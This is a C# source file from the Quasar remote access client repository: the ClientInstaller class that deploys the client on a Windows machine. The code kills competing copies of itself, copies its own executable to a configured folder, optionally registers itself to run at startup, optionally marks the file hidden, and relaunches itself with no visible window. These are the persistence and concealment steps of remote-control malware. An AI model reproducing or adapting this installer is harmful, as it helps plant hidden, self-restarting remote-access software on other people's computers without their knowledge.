Files
Quasar/Client/Core/Installation/ClientInstaller.cs
T
MaxXor fd877a13e5 Many Client improvements
- Improved Client Installation, Update and Uninstallation
- Improved Registry Access
- Split SystemCore class
2015-08-24 19:34:38 +02:00

81 lines
2.4 KiB
C#

using System;
using System.Diagnostics;
using System.IO;
using System.Threading;
using xClient.Config;
using xClient.Core.Data;
using xClient.Core.Networking;
namespace xClient.Core.Installation
{
public static class ClientInstaller
{
public static void Install(Client client)
{
bool isKilled = false;
// create target dir
if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER)))
Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER));
// delete existing file
if (File.Exists(ClientData.InstallPath))
{
try
{
File.Delete(ClientData.InstallPath);
}
catch (Exception ex)
{
if (ex is IOException || ex is UnauthorizedAccessException)
{
// kill old process if new mutex
Process[] foundProcesses =
Process.GetProcessesByName(Path.GetFileNameWithoutExtension(ClientData.InstallPath));
int myPid = Process.GetCurrentProcess().Id;
foreach (var prc in foundProcesses)
{
if (prc.Id == myPid) continue;
prc.Kill();
isKilled = true;
}
}
}
}
if (isKilled) Thread.Sleep(5000);
//copy client to target dir
File.Copy(ClientData.CurrentPath, ClientData.InstallPath, true);
if (Settings.STARTUP)
{
if (!Startup.AddToStartup())
ClientData.AddToStartupFailed = true;
}
if (Settings.HIDEFILE)
{
try
{
File.SetAttributes(ClientData.InstallPath, FileAttributes.Hidden);
}
catch
{
}
}
//start file
var startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = true,
FileName = ClientData.InstallPath
};
Process.Start(startInfo);
ClientData.Disconnect = true;
}
}
}